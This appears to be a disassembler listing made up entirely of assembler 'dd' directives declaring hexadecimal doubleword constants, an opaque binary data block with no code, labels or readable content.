		dd 59660034h, 284C38EBh, 7017023h, 0A03C1DFh, 0BA800433h
		dd 2A96DFFFh, 48F8A903h, 0EBAB0D58h, 0FC410781h, 0C210049Dh
		dd 0DC8EB060h, 12606056h, 762811B9h, 0C30FE4D4h, 40BD663Dh
		dd 0CBEEAEF6h, 1D1C0E0Ah, 37A09253h, 772CFF90h,	25480C60h
		dd 0A754BF96h, 60D8445Ch, 0F07C6Bh, 0E64C2133h,	0EC499AF1h
		dd 1C29A124h, 838FAB06h, 0BACD2951h, 111C24B8h,	24D9887Eh
		dd 0D5465CA0h, 0F5783C04h, 0B26080AFh, 22038B46h, 98622321h
		dd 0FBECC080h, 18821C69h, 43B925Fh, 30C6FF30h, 7F377B1Ah
		dd 1448C92h, 7B1101E9h,	0D2C9131h, 0B7C0F285h, 9202AA6Fh
		dd 0B870EE77h, 26004513h, 0D3465C40h, 83B73E00h, 98A95C0Bh
		dd 0AD94A554h, 0ED3C1001h, 69E0FF13h, 8A8861F6h, 6E886072h
		dd 0C3DF05C0h, 9CFA5303h, 0DFFDBC80h, 0A726CF2Bh, 0B8023421h
		dd 58E1DA29h, 78FF24ACh, 0D07C9410h, 0AC1DD5CBh, 0A98ED811h
		dd 8F0AB660h, 70092B18h, 0A042A327h, 0BBF00558h, 0B33E006Bh
		dd 37B6E15Ch, 0D5120235h, 20122B75h, 7340C8h, 0DB139397h
		dd 9FD06D32h, 10B78027h, 60E67A1Ch, 70FE11B8h, 0FD74AB1Ch
		dd 5CAC4894h, 0C3610830h, 0F9460744h, 7F380612h, 1D46F93h
		dd 1CF7124Ah, 30383C02h, 0D54285h, 884F2998h, 34B10DAAh
		dd 11701769h, 0D4288004h, 2AAAF471h, 3BC07E33h,	4F017416h
		dd 9821C459h, 3097DAF3h, 66800691h, 0F9B90B31h,	0A8DA9632h
		dd 0BC40CB2Dh, 1A683860h, 9672B925h, 70713Ch, 0C5F84F68h
		dd 0D3E48AB0h, 0C73DB500h, 9CFF926Eh, 8C0D59B6h, 7601DC23h
		dd 62B91468h, 6E894718h, 17D68C4h, 92A9F8E4h, 305C5E42h
		dd 84CD534h, 96107DC0h,	0C6034DDFh, 0DD5A2138h,	0A034C82Dh
		dd 0BA3DF280h, 893203AAh, 0C303656Eh, 2A436914h, 24029298h
		dd 442B2780h, 0C143FA0h, 0AF12468Ah, 346D6E4h, 8945C00h
		dd 26AB1A3Ch, 86E03100h, 6A216032h, 4120B9CFh, 0A1112743h
		dd 0A81FC41h, 0A459BDEBh, 4932F030h, 0B87DB8C9h, 4E860157h
		dd 0BDC4BA13h, 0DBF030A2h, 0CC58AD42h, 158CCEB8h, 0B0D1E3C1h
		dd 0D046B1C0h, 2F016EF0h, 0AB7649CBh, 598582ACh, 903D060Bh
		dd 4754B0B8h, 3A1E4602h, 20AF98EFh, 83FCF835h, 69ED0703h
		dd 90FDBDE6h, 2791C65h,	80C37D99h, 0B8BAAE6Dh, 4C4DC45h
		dd 2889D660h, 1F48A300h, 0A22FBC46h, 0A73B04E2h, 0B4447F5Fh
		dd 6E1727D8h, 7C215D63h, 28092B11h, 8CB3ACE4h, 8BFB1A0Ah
		dd 3826D063h, 18800911h, 0E892397Bh, 88705943h,	7B1F0FE7h
		dd 6C7FC4Dh, 3FE07AD2h
		dd 43ABB1h, 0F8F66334h,	0D7E2D962h, 0D009D899h,	97AC0BAFh
		dd 804B918Ch, 3D790AA3h, 0D0BC5CCCh, 22DC1D93h,	0C261B4A1h
		dd 94C64407h, 6CB252B0h, 0A13105B2h, 0FFFF5DD0h, 245CD9E6h
		dd 954900EFh, 0CD6CA803h, 8097B925h, 0DF768760h, 0E4149463h
		dd 0D82B176Bh, 0C9000323h, 0EED8E607h, 0D4AB0C96h, 46500301h
		dd 57808D00h, 59B0AAF9h, 0E1B34C38h, 529E271Dh,	0EC144240h
		dd 7C5AF94Dh, 31B87404h, 0DC8ACBF2h, 1A29B702h,	0A4685384h
		dd 706DEBAh, 1B55C504h,	9BCCA070h, 2DCE8064h, 0DC968C90h
		dd 0C1D0FEC7h, 0EBC9B4Bh, 19799C87h, 10D10BC5h,	0B1031895h
		dd 82577A84h, 0F35C7FA8h, 7489B400h, 80B579E0h,	0AECE01EEh
		dd 5B962713h, 0E470894Ah, 0E1904BBCh, 10342F8Eh, 0C031031Fh
		dd 0C3F3E7E9h, 5F40E5F0h, 80786093h, 9C1B00CAh,	62D25B5Eh
		dd 0D14D325Ah, 6768002Ch, 72E865DEh, 0C40C00F5h, 6E4D108Ah
		dd 0BD0EB5D9h, 9279B44h, 61084D23h, 80E25365h, 1D1BC208h
		dd 0D7FC5F5Ah, 1706E50h, 2D54387Ah, 34D0C846h, 52492DF0h
		dd 0B491A017h, 4DBFB183h, 4023859Bh, 41CC0315h,	61CC250Eh
		dd 63002B7Ah, 3C1341C4h, 4CFEh,	0E2F91D54h, 438E3F25h
		dd 7188F0CCh, 0CEDF14C0h, 98225303h, 0DF0CBF80h, 61028AEEh
		dd 0E73EB50Bh, 8514D97Dh, 8833D6FBh, 940063A0h,	903264BCh
		dd 4DA3CB6Eh, 71243Fh, 1FF28765h, 5CBB71BEh, 77A9E300h
		dd 33574FB3h, 0CBD60E74h, 0B581C31Eh, 2150FF3Ah, 0E0E6E210h
		dd 0F6B9121h, 49C43CDDh, 5DACA78Bh, 39FA874h, 900F3285h
		dd 0E1BD3C4Fh, 69863A4h, 0A0C43791h, 20E0B018h,	0DCA0D95Eh
		dd 5CB936EBh, 64C4454Bh, 6445604Ch, 4792181Eh, 0D9AD6954h
		dd 3CCB2620h, 0D885FBECh, 0C2F89F19h, 0E497223Ch, 0C080D391h
		dd 0D2ABBC6h, 0F4305A00h, 673C36DCh, 2F7C4A90h,	452370h
		dd 0DF2A41C6h, 84980EFDh, 8443720h, 0F021F44Ah,	1B8E8702h
		dd 209CC443h, 0A8982931h, 13615722h, 4143DF5h, 0D018C538h
		dd 0CC49DB24h, 9800595Eh, 0D82F9038h, 20D0A4A6h, 0B60732BCh
		dd 0DCB5E63Dh, 1A14A66h, 0D6C1557Fh, 0DCE90288h, 0D019CC4h
		dd 70AF4110h, 9BFCBC23h, 313663A3h, 4EB0E982h, 98508053h
		dd 800A2D8h, 2BABC734h,	2E31AF18h, 4434A77Ah, 7B1E600Bh
		dd 0F892133Bh, 108A59h,	3A7B15D5h, 759F0FB7h, 22890061h
		dd 0C48B6DABh, 0C9C4A6F9h, 14B4FC1Dh, 231EE1Ch,	926EA083h
		dd 86759D8h, 182CB442h,	0C7488727h, 9B9C00ACh, 0B56E182Fh
		dd 2E770249h, 0A9243790h, 310A4058h, 7053831Ah,	4465Eh
		dd 7AD96AE5h, 1FBB580h,	497CC1ABh, 621A25F4h, 0B43A9268h
		dd 0C500D423h, 394D6EB7h, 65C10980h, 0EC4CDDFBh, 97181225h
		dd 81461148h, 4CC4EBBAh, 7C030F8h, 5A5CE5EAh, 0AEE620B3h
		dd 34072FFAh, 9CE0271Dh, 94F4A5F3h, 3C0BACC1h, 0D490FC62h
		dd 0C3010C23h, 0E7250541h, 5EB01C68h, 0FB0041DBh, 0AB351C4Ah
		dd 642B9685h, 0A24858AFh, 0BC345C48h, 0D1E88CB2h, 0E633B50Bh
		dd 0E5186252h, 6151C400h, 0D0C4E238h, 0F09100E9h, 0AB3C5F86h
		dd 1E898096h, 0B59F3F4h, 0FC71BD03h, 936180A0h,	512E27D4h
		dd 6365CC46h, 18818CEh,	0E17597C0h, 0BFDF0134h,	8FAB2E14h
		dd 41A311CBh, 0F37AB180h, 0EB1C66B6h, 0D33AA07h, 95826776h
		dd 0D58CA0A7h, 0E6C0Bh,	56F9E2A5h, 0B8F88024h, 79A112Dh
		dd 0D229CE90h, 0B1BE00B0h, 15FD5BBAh, 0D183D9Dh, 34A191B0h
		dd 0C740A0C8h, 732301E4h, 0B40D5857h, 4033D11Bh, 0E0190C10h
		dd 34EF503h, 0F98CBE90h, 0F1083288h, 8038913Ch,	0C29DCD45h
		dd 0EBFDB0Eh, 9EC31DCCh, 271C019Eh, 72961843h, 0F5D660ECh
		dd 2030DAh, 692AD786h, 899281A9h, 0A5744C00h, 3D0DE7B4h
		dd 461B4ECCh, 41A6959Ch, 0F4253200h, 0EE05A2C7h, 74D0BE7Bh
		dd 50241846h, 7E1F3AF8h, 0AD842462h, 0B491089Dh, 0C8CEBF81h
		dd 5A7C2347h, 64C30412h, 5807A485h, 0B030F168h,	2660383Ch
		dd 467C2C4Bh, 0EC4609D7h, 0B4484CC9h, 0CF46DC3Ch, 160A1400h
		dd 0ED07F2D8h, 80E5102Dh, 29EEF134h, 19FE818Ah,	2676A420h
		dd 70B4C092h, 7B3A0CECh, 0AADB00C9h, 202E2C73h,	3C73F790h
		dd 413051B2h, 1BD203E5h, 0A6CFCE69h, 0B880CDE2h, 10233E79h
		dd 0FF1D79C5h, 1E54C88h, 0B10740E2h, 32D36E25h,	2427C254h
		dd 1170567Ch, 41C1800Ah, 8CD72507h, 12B7720h, 0CB41D960h
		dd 0E17957E1h, 1BA0D831h, 6DBCDB01h, 0A7C221B8h, 5ECF438h
		dd 0F5700B8Ch, 1830091Eh, 0A0BE1816h, 13C800D6h, 2E42CE90h
		dd 3C70EFB9h, 0F79E280Ch, 90145859h, 0B12448D8h, 31EC7213h
		dd 0F4703C28h, 7403E74Ch, 6E2EB495h, 0E3ED9AC5h, 91B93870h
		dd 0D99EC287h, 0CD6F030Ch, 0CA3E6088h, 3B061212h, 0D0B61023h
		dd 48C3F935h, 0D2BC7C22h, 0B9B0008Ch, 0A7F832C3h, 2893D6C9h
		dd 46D9B502h, 5A5854CFh, 49C4B065h, 2B198761h, 0A4B68052h
		dd 0AF7C39A0h, 7A0B930Fh, 7F66E2B7h, 0E9840F5Eh, 8138D449h
		dd 516704h, 5ABDCC4Ah, 0C2FC7212h, 484480C7h, 0F8E7CC60h
		dd 21677209h, 9B788036h, 10492743h, 21D19ECh, 90B7D246h
		dd 3AC4D10Eh, 5212F602h, 0AC400DF9h, 24FB9873h,	1E1C9988h
		dd 66C44DDAh, 6B803EF4h, 13B0044Ah, 12CC5496h, 0CA1840DCh
		dd 0B6AA2107h, 6FCE20F1h, 940B8EF8h, 0ED3840D7h, 67D2642Ch
		dd 0B53A46B0h, 61D90990h, 9C2112C6h, 0DCFD99FAh, 262E355Ah
		dd 0CC06E801h, 24F0EFCDh, 0E40C8E75h, 683760D9h, 0A7B97919h
		dd 406F1CACh, 5AA98068h, 4C126BE5h, 4A4338Dh, 8AE6FEh
		dd 81B27CE1h, 19B97B97h, 29781E6Eh, 3E308023h, 97296AAh
		dd 1118B694h, 62C70002h, 17C67E21h, 0CB6DC985h,	0B0D70F8Ch
		dd 0E35DCCC1h, 0F99CF475h, 4C2CBC71h, 0D83EA1AAh, 7941103Ch
		dd 935E8D09h, 4D00D878h, 1EDBD0C2h, 36EA4EFh, 869BA84Ch
		dd 712E642Bh, 4674FC85h, 0B56500B6h, 291BFCC1h,	0E0131296h
		dd 0F010B680h, 136D4C1h, 0B8499DE6h, 20A96A31h,	98C89CE0h
		dd 944481ADh, 602D72A0h, 0FC009DDDh, 3AF08C76h,	0FDF05h
		dd 8E49CB90h, 174CCD3Dh, 4AE0ECA5h, 0C7109Eh, 6E4CDCBEh
		dd 0CFDA7F12h, 7511A21Eh, 340778FDh, 16EFA14Eh,	100BFDF0h
		dd 0C2D8007Ch, 0B2A6B65Ah, 2002CEBh, 8069FFA8h,	9024CA29h
		dd 0D0CDE405h, 4F0EF048h, 40980C34h, 0CA015DF0h, 0A95B76A5h
		dd 30EB8F0Fh, 0CE21E808h, 0C501CA55h, 3CBC60EDh, 79811A17h
		dd 7E9ABFE1h, 63CBD006h, 0BCF59900h, 0CF6ACF0h,	0FC3678EBh
		dd 1C4E3F53h, 8B28E981h, 0FC4D07A5h, 10C0DEBFh,	2E2A318Ah
		dd 0F6A106B7h, 18D8AB13h, 0E67A501Dh, 18F9E806h, 186D7471h
		dd 11CB17DEh, 4C076427h, 0EF714EB2h, 0F0494691h, 218024F5h
		dd 0C54C5C0Ah, 0BE5CB340h, 112A00D5h, 613E18B0h, 0B7A20374h
		dd 5CC9F116h, 0F10001FBh, 424999A0h, 3039EBh, 0E36C2558h
		dd 0FDBDAD29h, 0F600A990h, 0DD90119Dh, 367A9305h, 0A0A8B2FEh
		dd 5516DB46h, 98B71A4Ch, 50195024h, 0AC487185h,	0B79524FCh
		dd 0CF18718h, 9010660Eh, 0B726494h, 408CE451h, 0EDCA91D6h
		dd 4A4EF91Fh, 9F827340h, 0C9F0E9h, 916F7F10h, 0FC47119Eh
		dd 0BC6883E3h, 0F6DC3528h, 86C70111h, 3FCC9B4Bh, 4894E024h
		dd 5CF3F00Ch, 0CFD21E5h, 958C8EA4h, 0A8070411h,	0D00817EBh
		dd 83621B40h, 0B9610787h, 2CE6111Dh, 204CB18h, 4CC7952Ch
		dd 85E3098h, 5376E2CAh
		dd 0CF40E9C4h, 73B5CA56h, 0B17BCD00h, 945F8F74h, 974A2852h
		dd 43920588h, 22D5DE3h,	0C61F8280h, 74BB7F00h, 0B99F06D9h
		dd 0F81ECA8Eh, 3FD8D500h, 85F60D33h, 4C37005Bh,	3AB70FC6h
		dd 4A0C96FBh, 58EE2F4Dh, 38FF2013h, 4C40F400h, 0AA1D0EE8h
		dd 74630511h, 0EEA277Ah, 713F92ACh, 0A0ED04B1h,	67788CDEh
		dd 89EFC015h, 0E39D0494h, 0CB435F4Ch, 830CF7Ch,	0DBBD2198h
		dd 64B3094Ch, 0E01017ABh, 3B004E3Ch, 0C2BB5BD3h, 0E1EBD8h
		dd 807163DDh, 5688CD3Ah, 0B28FAB03h, 23432h, 1969F589h
		dd 5833C375h, 0A2006CE6h, 5EEF9C0Dh, 30AEAA60h,	3E798FEEh
		dd 571C12B7h, 15C068E2h, 7D1F1D8Bh, 334B07ECh, 3ABB284h
		dd 311E8C4Dh, 0DA5E8734h, 354CAA01h, 6C26E0FDh,	0B0845E3Dh
		dd 32EF814Eh, 56202E1Eh, 897F374Ch, 17AEAC03h, 17F3335Dh
		dd 0B2FFB9h, 758CB1FEh,	4058C64Ah, 9DAF39DEh, 5702AA58h
		dd 55B5836Bh, 104E5780h, 0B709780Fh, 24C1266h, 18335A30h
		dd 0A811CA68h, 0FC884376h, 0CA60B981h, 243216D4h, 0BFE07C51h
		dd 549107C4h, 30C7B19Eh, 8C5C7775h, 8A865212h, 78C13C1Eh
		dd 4F828D12h, 7FDB024h,	5A57E6BFh, 377FA394h, 8F90EE50h
		dd 401C6A24h, 91A27300h, 0C9EE7Bh, 5FA45D02h, 28BE470Ah
		dd 3B1020C0h, 0A7BCDB96h, 78308820h, 0ACD467C6h, 4CA80434h
		dd 62880868h, 0E14A2096h, 98ECC34Ch, 0C16D0B7h,	8BEE8FC6h
		dd 0A1004621h, 0B5BA9942h, 92E5570Fh, 0EBFD0068h, 92548CA7h
		dd 89312BCBh, 0FE4098Ah, 0BF8020BDh, 4DC3318Ch,	0FB018121h
		dd 18FC2D3Fh, 0B050CF8Bh, 5A7D67h, 5C127008h, 333C94AEh
		dd 8AC8F654h, 7D723600h, 0D0D409D9h, 120714B3h,	4D10EC4Bh
		dd 0CA5FC134h, 31DA76E3h, 57D010FBh, 297307CAh,	0FC34EF93h
		dd 4E091019h, 810DB33Ch, 91079498h, 0C3E647F8h,	67BF9B10h
		dd 22A755D3h, 3C40FA8Eh, 0AE3AE357h, 560BBE97h,	4CE202B4h
		dd 31D8085Eh, 0DABC1095h, 0A158004Ch, 5D2AA4E7h, 0CA697818h
		dd 55C08089h, 1411ED54h, 0F0133667h, 2014AF2Ch,	26046BCh
		dd 925D8CB0h, 80233183h, 8CA8D021h, 262AFC15h, 94C6A4h
		dd 1E946AC5h, 9605FD34h, 0EDC75D7Ah, 30DA4492h,	0A6114C58h
		dd 2488514Eh, 4D500680h, 2A0161h, 219FA40Dh, 0D37AF6EAh
		dd 929060F1h, 1888C78h,	808A554Bh, 0F01F48F0h, 0F70F063Dh
		dd 300C3F7Ah, 904A0D00h, 0BFAA6737h, 0E24F2957h, 5FA500B8h
		dd 88DF185Eh, 0E8AA71E1h, 7F05E356h, 0F883244Eh, 7890D410h
		dd 0E251A3FEh, 0DDD89108h, 0A54C5780h, 0EF43594Eh, 5001B22h
		dd 94FB4D4Fh, 0C3E0573Bh, 666A0848h, 0C0E982h, 5E403E23h
		dd 0FAC9932h, 0F5A0121Dh, 8F7C8E74h, 0A2738872h, 0D9C84E01h
		dd 9B467AF2h, 0BE01031h, 58FF60F3h, 0A46551B1h,	0C9BD3218h
		dd 0C0C61848h, 36806289h, 908DA3h, 0BC749648h, 0FC5A8CE6h
		dd 290284FCh, 16E78C7Bh, 6B320C48h, 240A9D0Eh, 0D7ACA1ADh
		dd 44DCC123h, 8B7A130Eh, 7C5C00E6h, 0A2CA2E46h,	0D0401115h
		dd 3F4916E4h, 30BB6432h, 62114CA6h, 9A88B808h, 4CDF4883h
		dd 0AF75A8AAh, 0F3231494h, 5989D4D3h, 0F4406C32h, 9B489262h
		dd 0A9D1E16Ch, 7837C20h, 8AAEC53Fh, 54A0CB2Ch, 0FDB708C6h
		dd 4A9258C1h, 0BC418D1Eh, 3830E214h, 43948807h,	1298F69h
		dd 0EDC817E0h, 88E59203h, 880E9A04h, 11163863h,	978E5906h
		dd 0BD05210Dh, 7A506368h, 80E02010h, 368E9C81h,	5CE8513Fh
		dd 402E5060h, 0B10909Eh, 0A058371Ch, 8276DA84h,	620521A0h
		dd 0B12EDCC1h, 43693080h, 0AA46DFC1h, 110820h, 0E193993Eh
		dd 94D67292h, 0C9B928C2h, 14B8410Fh, 1EE03877h,	4A129523h
		dd 5C49A2DAh, 4C04A1Bh,	0A56055D8h, 9223568Ch, 0FE508BBh
		dd 8CBDCD00h, 0EEFB46Dh, 0D5555B3Ch, 757187ACh,	21451F00h
		dd 0DE28B02h, 7A182680h, 5E51C088h, 0C49863D1h,	3999EF30h
		dd 0D572CCh, 0C491FB6h,	255CD05Fh, 0AB159700h, 45DD65C3h
		dd 0D610AB5h, 8FD8F833h, 34E006F3h, 32F668D0h, 5CCC6520h
		dd 0E8BC1096h, 0CD64008Ch, 0DE498E25h, 0C96FB82h, 1A0C2D01h
		dd 0C626736h, 8930A1F2h, 53851FD1h, 0CFB80F1h, 2F8A5D64h
		dd 0DE202405h, 0B8C8EEC5h, 0E31B003Ah, 0DC04D49Bh, 2A03576Dh
		dd 47DAC3C4h, 2F60F027h, 0E6460F9Eh, 6980D4CFh,	87DF4A18h
		dd 2B8A9613h, 0B88F2C00h, 1541FD70h, 0E8123767h, 0F76E9874h
		dd 0C994FC40h, 92763DDDh, 0CF826h, 0CA174A63h, 31C014E5h
		dd 0A738B473h, 580E7050h, 0BC009E5Bh, 0F7408A6Ah, 9913A932h
		dd 7800DEC0h, 27F4DC41h, 7F24124Dh, 9C280202h, 0EC90EEBFh
		dd 2C0078CFh, 93EBA2ACh, 0EA34C2h, 45A66860h, 6FF92358h
		dd 649B102Ch, 0FDBE1F02h, 5954627Eh, 18E5D954h,	20A60F3Eh
		dd 80C48167h, 0AF8C1DEh, 0CE8044A4h, 0C5208820h, 25BB013Fh
		dd 0EEF78274h, 19588C8h, 5C60B089h, 30FC4157h, 90401E10h
		dd 1209066h, 8A54899Ah,	0D06B3619h, 0F4519230h,	474C30E8h
		dd 1DC70140h, 0E50A18AEh, 74CC348Ah, 80102321h,	78B760AFh
		dd 0FA6032D7h, 8B2592A1h, 18850B6Dh, 0B482643Bh, 62183358h
		dd 76A63DCAh, 0E42246h,	0C2CA5ACBh, 654AD3F2h, 1B43C303h
		dd 0F04699E0h, 0B9854B2Ah, 80FE1E08h, 119DF47Ah, 66588C75h
		dd 8C97BC2Ch, 1A015C00h, 5D9133EFh, 0F7890F99h,	88204F1Fh
		dd 6ABE4918h, 572D4014h, 0ED0901A8h, 0DFD4A8CDh, 2C670BFh
		dd 8654CA5h, 609451E0h,	4B4CDDBFh, 31AF8B00h, 0CF6641EFh
		dd 3C3E1318h, 385800A7h, 63B22994h, 65204FE0h, 7F06090Ah
		dd 0B4C13192h, 0F8503CD0h, 740E8C19h, 768D254Eh, 9423C43Bh
		dd 0A67E5501h, 0B1E4B924h, 626E0650h, 6C1726C4h, 8EF8DC92h
		dd 1E1BB900h, 41D7939Ah, 90CB584Eh, 27C61F10h, 0A3ECA018h
		dd 601D9Dh, 0E51625DFh,	6E9EFA75h, 59410400h, 4B473111h
		dd 34EE58E9h, 0E340388Eh, 2DFDABADh, 8A291A07h,	617E4379h
		dd 599B73B0h, 905DDFC4h, 813A7AC8h, 5464DE18h, 664A9408h
		dd 3A64169Ch, 962374h, 5E7060Ah, 175C2AC1h, 17C9254Ah
		dd 0FE588B4h, 9F923660h, 0CAC764Ah, 220C18A0h, 0FE493241h
		dd 0BCDE0E8Ch, 0F12E042h, 17A5DB1h, 622C9FD8h, 2026A2C1h
		dd 1361B9E6h, 0C3919238h, 886C8E14h, 83E6C7FBh,	0F119A4EEh
		dd 8D9119E5h, 34D1CE0h,	0CEB9052Fh, 9ED0B15Fh, 0F417AF90h
		dd 8C43633Bh, 0EA8774A8h, 0DD580C96h, 11FF8213h, 4D066800h
		dd 0B4E7DF74h, 5780BB3Ch, 388E3DD1h, 0EB58884Ah, 0D0E20518h
		dd 0D0083B79h, 4CA9C0AAh, 0C0460869h, 4B589922h, 0A8097398h
		dd 153A66h, 787759Ch, 258E2C9Fh, 0DF828660h, 0CD2A900Eh
		dd 0D5FE9C10h, 24E4686h, 76A4CA64h, 10EA3163h, 5CA5CCDh
		dd 0FE608587h, 772C888Eh, 20F9A27h, 0CC7F02E8h,	44308538h
		dd 0CE4A60E3h, 539F1D95h, 0C4F1DEE7h, 8C131882h, 0A62E526Ch
		dd 0CF42BCAEh, 62F203E2h, 1800858Bh, 0A9C43497h, 0F8FA8EFBh
		dd 9231C126h, 2C3FB723h, 903B2C50h, 0E03A0813h,	0BE03E523h
		dd 0E0E0E905h, 995BCAFh, 11C074B1h, 485BBCC1h, 0CA0B6128h
		dd 9C3B76A9h, 59BA0098h, 31D91CCAh, 50E07E04h, 0E5120499h
		dd 40A74CD0h, 41390129h, 997144B6h, 0D138CCF8h,	0D72EA4B0h
		dd 9AA540E8h, 795C59DCh, 67D81920h, 0AFFE0E82h,	0F2CB1C2Ch
		dd 0C43E2CC0h, 84066501h, 528F1466h, 800C106Ch,	97B185EFh
		dd 3D27BD00h, 7134D960h
		dd 0D4500E43h, 20F64D68h, 98930CF0h, 9DD88800h,	0D4B53918h
		dd 0E7230F1Ah, 0F138E50Dh, 0CE01486Ch, 0F266123Fh, 7DD0C8DBh
		dd 0F3970080h, 0B13D11B5h, 0B6130D68h, 48605A0Fh, 23638CA2h
		dd 0E7119392h, 8CBACE00h, 369C9B19h, 6E13E373h,	6C02528Eh
		dd 25140E18h, 5BAC05ABh, 8C68E115h, 0E993EF20h,	573300A8h
		dd 0E3B85002h, 0FBF64CD4h, 93195902h, 40ADE27Ah, 2A126838h
		dd 94D67Fh, 5DDC4A73h, 9704C9EDh, 8D19E662h, 461C5887h
		dd 8CA60256h, 1CB39257h, 60C041A2h, 7D0021B6h, 674A0445h
		dd 49429F08h, 7A0CCCD1h, 92C11F37h, 0A4EA822Eh,	328D978Eh
		dd 61A9D4D0h, 51B2254Dh, 18380DFCh, 92E9914Bh, 28709998h
		dd 18B4BF4h, 75194CC0h,	841838D1h, 0A909D4A3h, 47068000h
		dd 9D4DF7E6h, 805D3104h, 7D00B452h, 281210ABh, 0E8046007h
		dd 0D4278D2Ah, 0BA4B10Eh, 0C0E6C8ECh, 26B6A6FBh, 4224DC00h
		dd 72EAD495h, 7AEE28A2h, 0D18499BCh, 6EC1994h, 11C23C5Ah
		dd 0EFAFE006h, 0EA03218Eh, 4812A619h, 0F2AA88BBh, 4FCCAh
		dd 1BC0DB61h, 47A4AC6Dh, 0AE44EB1Eh, 9E7F08C5h,	0DBC55CA1h
		dd 7A74E0CFh, 0AC1D50A7h, 0D68F1902h, 0F0D72017h, 18C41903h
		dd 0A8F00FE4h, 0BF1C033h, 28F446A3h, 5A683D4Ch,	1E103C2Fh
		dd 0BA9AC210h, 1C34DA16h, 0C2564513h, 8EF36B7Dh, 910420C7h
		dd 9A00C68Ah, 72950194h, 0E0FF4228h, 1DD1D8B1h,	0E3024B18h
		dd 5D13B5BBh, 0B25879F5h, 6330E150h, 4EB1104Ch,	5B09E079h
		dd 0D240C04Ch, 97B3D53Dh, 1640DC94h, 2530361Eh,	0D0905694h
		dd 1702B0CDh, 87BFD060h, 6A336070h, 0F4A8025Eh,	5C8E8DE4h
		dd 149998C6h, 6218E671h, 11C5BD00h, 6A916D26h, 5839018Ah
		dd 0B3528D35h, 88AC3CCCh, 827784C4h, 0E4089193h, 0A3F8456Bh
		dd 0FE6A170h, 0AF000E0Ch, 130B4A9Ch, 13E0450Dh,	0D094011Ch
		dd 188A6BACh, 5058A40Dh, 0D438907Ah, 54E56DCBh,	0D66023C4h
		dd 9C008F2Fh, 95A5350Ah, 2D3B932Ah, 0EC00EC1Bh,	0FFE7C574h
		dd 0F6ABA9C0h, 0B0F91F7Ah, 445C5260h, 45A5C721h, 631F6404h
		dd 15C4E814h, 2940067h,	0ACEA7297h, 0C000CECFh,	6FE4F8BFh
		dd 3317D3ABh, 0EE185782h, 0E5EFA1h, 40021F79h, 0BF1F1145h
		dd 0FD066A0Bh, 20E11Ah,	7805C4F2h, 57034B8Ch, 0B363F60Eh
		dd 80B78856h, 0C877FDA2h, 9B07A962h, 9A9118CEh,	0B9D601E0h
		dd 0D0BE00CDh, 2269838h, 2106287Dh, 96764073h, 22490041h
		dd 71C60835h, 5F0085B0h, 54F84B9Eh, 0C0F23E96h,	878186C0h
		dd 6B502CBAh, 1403A6B7h, 0FFFA27DDh, 0E4491E56h, 8F0CFA3Fh
		dd 4B393797h, 0A218D00h, 73C09EB6h, 898EB2Ah, 0C5F62147h
		dd 0B5AB2100h, 5074A37Dh, 424B1CF8h, 92903101h,	9C845018h
		dd 0F3F0FFE4h, 7CD2A8A8h, 79023401h, 7136D3A0h,	0AC080995h
		dd 3494B200h, 0F6961A4Fh, 0B821C114h, 0E4620084h, 0ECC5AB15h
		dd 0CFB9C073h, 0F6873311h, 0E0D61E0Eh, 0CC08B8EEh, 0B220C0AAh
		dd 493F3309h, 7F7E2700h, 0EE40F108h, 0FD9230DEh, 0DD7A5591h
		dd 6B5F4200h, 23C9C3E8h, 0A0D0003Ch, 0F2452AC1h, 110571C5h
		dd 0AADD7316h, 0C123402Ah, 20C02B1Eh, 0B86ADD71h, 0C0C90950h
		dd 18044AE8h, 780A6006h, 0DB4B108Dh, 87BCC856h,	78029Fh
		dd 1FB752C2h, 89791A34h, 0C0C88C08h, 0F6863310h, 0C6222646h
		dd 3308B100h, 1AB30DD0h, 0B57F051Fh, 4757B65h, 823449E4h
		dd 90307E08h, 0B6111121h, 0A64688A6h, 482101CEh, 4460FFFDh
		dd 0C5E0044Ch, 4FE101B4h, 98203366h, 3927E2Eh, 7B8C686Eh
		dd 188E4A27h, 0B9C99E0Ch, 3BDB30AAh, 6C52DCFCh,	0A730CBA2h
		dd 0B22B0148h, 9EE76031h, 18823AEh, 95E6E380h, 52F4CA6Ch
		dd 97F60E62h, 6E40C7C2h, 4983A23Ch, 0F9E52A14h,	65B005FCh
		dd 8C107203h, 0FC23D8h,	4B8B780Ch, 4486570Bh, 403A1BBh
		dd 326DF178h, 11CDA81Fh, 763F0E2Eh, 8F44AB85h, 6ED880CAh
		dd 0E502B831h, 0F2156F34h, 8CBCB092h, 0B60D1121h, 804988C6h
		dd 7921C46Dh, 6C903685h, 4944E4A7h, 45591460h, 0EFED2898h
		dd 0A197F819h, 618FAF0h, 4BC97804h, 0BA3256FBh,	77FEA320h
		dd 0E5060EA0h, 3B41B086h, 340B6537h, 0E06984Ch,	6DFB733Ch
		dd 44A88730h, 8EA860BDh, 0C35717CAh, 0FFD70149h, 0D295871Eh
		dd 93AE848h, 0C85F4B00h, 8F702812h, 0F4C02D8h, 0E4CB69FBh
		dd 4C90EC64h, 7B02FE46h, 88790534h, 0B140CC33h,	69643493h
		dd 30D53Ch, 0EBC0217Bh,	62972329h, 93025036h, 11347718h
		dd 8C687911h, 0B521CDh,	0C748348Fh, 9032030Bh, 246CB309h
		dd 508C2C6Eh, 85048C08h, 58790B34h, 7D00B738h, 8025CE34h
		dd 0EA1F38h, 30F5DFBAh,	0FEEDF24Bh, 3354ECA1h, 30B9B23Ch
		dd 4F3EEF3Fh, 0ACF5005Ch, 0F01D2F8Dh, 7CE72480h, 3D18006Ch
		dd 0D54A5FA8h, 3093F724h, 0E62F4081h, 11933325h, 232C2F15h
		dd 56BA0042h, 9D4E2937h, 2E3F7909h, 0F4188061h,	30D5F2EDh
		dd 0B23138F3h, 0D048AF4Dh, 41992438h, 0C943780Dh, 9D09F891h
		dd 4B9088FFh, 18E70E3h,	552A7800h, 64D03732h, 98DD0034h
		dd 4DB58648h, 68C2BB13h, 63362DDEh, 3C41CC7Ch, 0E1B9E9h
		dd 40E23EEFh, 0F100115Dh, 0B60CE08Dh, 0C0D4B765h, 7134A940h
		dd 78C2CCE6h, 68AF4EFFh, 0C0419668h, 76A690D9h,	1739241Bh
		dd 8E1639EFh, 4AB219B0h, 0FB9170B3h, 0C2780784h, 7094B332h
		dd 77FFA401h, 0D5C576D4h, 68D22C8h, 3E1F7BA2h, 3C03B047h
		dd 0E17D9EAh, 771100ADh, 0EBBFFC7Bh, 0F2120D22h, 2C0EDE55h
		dd 0FD137DF0h, 0C0944008h, 0B60721CAh, 802473E3h, 6021C26Bh
